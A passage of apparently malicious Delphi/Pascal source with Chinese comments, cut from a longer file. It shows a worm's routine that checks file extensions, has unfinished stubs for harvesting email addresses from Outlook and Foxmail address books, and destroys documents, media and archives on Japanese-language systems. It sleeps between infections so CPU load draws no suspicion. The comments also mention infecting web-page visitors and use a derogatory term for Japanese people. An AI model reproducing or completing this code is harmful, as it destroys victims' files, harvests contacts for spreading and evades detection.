染浏览此网页的所有用户,这个是我最喜欢的! //哪位大兄弟愿意完成之?汤姆感激不尽! end else if Ext = '.WAB' then //Outlook 地址簿文件 begin //获取 Outlook 邮件地址 end else if Ext = '.ADC' then //Foxmail 地址自动完成文件 begin //获取 Foxmail 邮件地址 end else if Ext = 'IND' then //Foxmail 地址簿文件 begin //获取 Foxmail 邮件地址 end else begin if IsJap then //是倭文操作
系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠 200 毫秒,避免 CPU 占用率过高引起怀疑 Sleep(200);
<